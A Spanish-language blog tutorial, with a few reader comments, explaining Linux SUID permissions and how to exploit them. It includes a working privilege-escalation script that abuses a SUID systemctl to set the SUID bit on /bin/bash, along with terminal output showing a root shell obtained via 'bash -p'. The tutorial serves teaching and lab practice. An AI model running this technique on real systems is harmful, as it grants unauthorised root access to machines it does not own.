Tras haber visto el funcionamiento de los permisos en linux, he de comentaros que también existen un grupo de permisos un poco especiales como son los permisos SUID. En el artículo de hoy, trataremos la explotación de permisos SUID.
Los permisos SUID: cuando en un binario o fichero el bit SUID está activado significa que la persona que lo ejecute va a tener los mismos permisos que la persona que lo creó. Es decir, si lo creó root tendremos permisos root.
Para asignar un permiso SUID a un archivo o binario se utiliza el comando chmod añadiéndole un 4 al principio de los permisos que deseamos.
Por ejemplo, si miramos la ruta absoluta del binario systemctl /usr/bin/systemctl y miramos los permisos de ese binario:
rwxr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl
Podemos ver que tiene el permiso «755″ pues si le añadimos un 4, es decir, 4755 estaríamos activando los permisos SUID en ese binario.
Y si ahora volvemos a mirar los permisos:
rwsr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl
Vemos que se ha activado un nuevo indicador una «s».
Podríamos buscar en el sistema todos los binarios o archivos que tienen permisos SUID mediante el siguiente comando:
┌──(diegoaltf4㉿voldemort)-[~] └─$ find / -perm -4000 2>/dev/null /usr/lib/openssh/ssh-keysign /usr/bin/systemctl /usr/bin/sudo /usr/bin/su
Como vemos, el binario recientemente modificado (systemctl) se encuentra en la lista.
#!/bin/bash TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "chmod +s /bin/bash" [Install] WantedBy=multi-user.target' > $TF /bin/systemctl link $TF /bin/systemctl enable --now $TF
Ejecutamos el script:
┌──(diegoaltf4㉿voldemort)-[~/BLOG] └─$ ./script Created symlink /etc/systemd/system/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service. Created symlink /etc/systemd/system/multi-user.target.wants/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service.
Si miramos los permisos del binario bash podemos ver cómo han sido modificados:
┌──(diegoaltf4㉿voldemort)-[~/BLOG/] └─$ which bash | xargs ls -la -rwsr-sr-x 1 root root 1234376 feb 24 21:53 /usr/bin/bash
Por lo que ahora, podríamos ejecutar una bash con máximos privilegios:
┌──(diegoaltf4㉿voldemort)-[~/BLOG/] └─$ bash -p bash-5.1# whoami root bash-5.1# id uid=1000(diegoaltf4) gid=1000(diegoaltf4) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),121(wireshark),135(scanner),146(kaboxer),1000(diegoaltf4) bash-5.1#
Espero que hayáis aprendido y os haya gustado
Que la Fuerza os acompañe
DiegoAltF4
Guillermo López dice
Muy interesante!!
Jav dice
Muy buen artículo, 100% recomendada esta web.
Gracias.
Isaac dice
Increíble artículo, llegarás a mucho crack sigue así!!!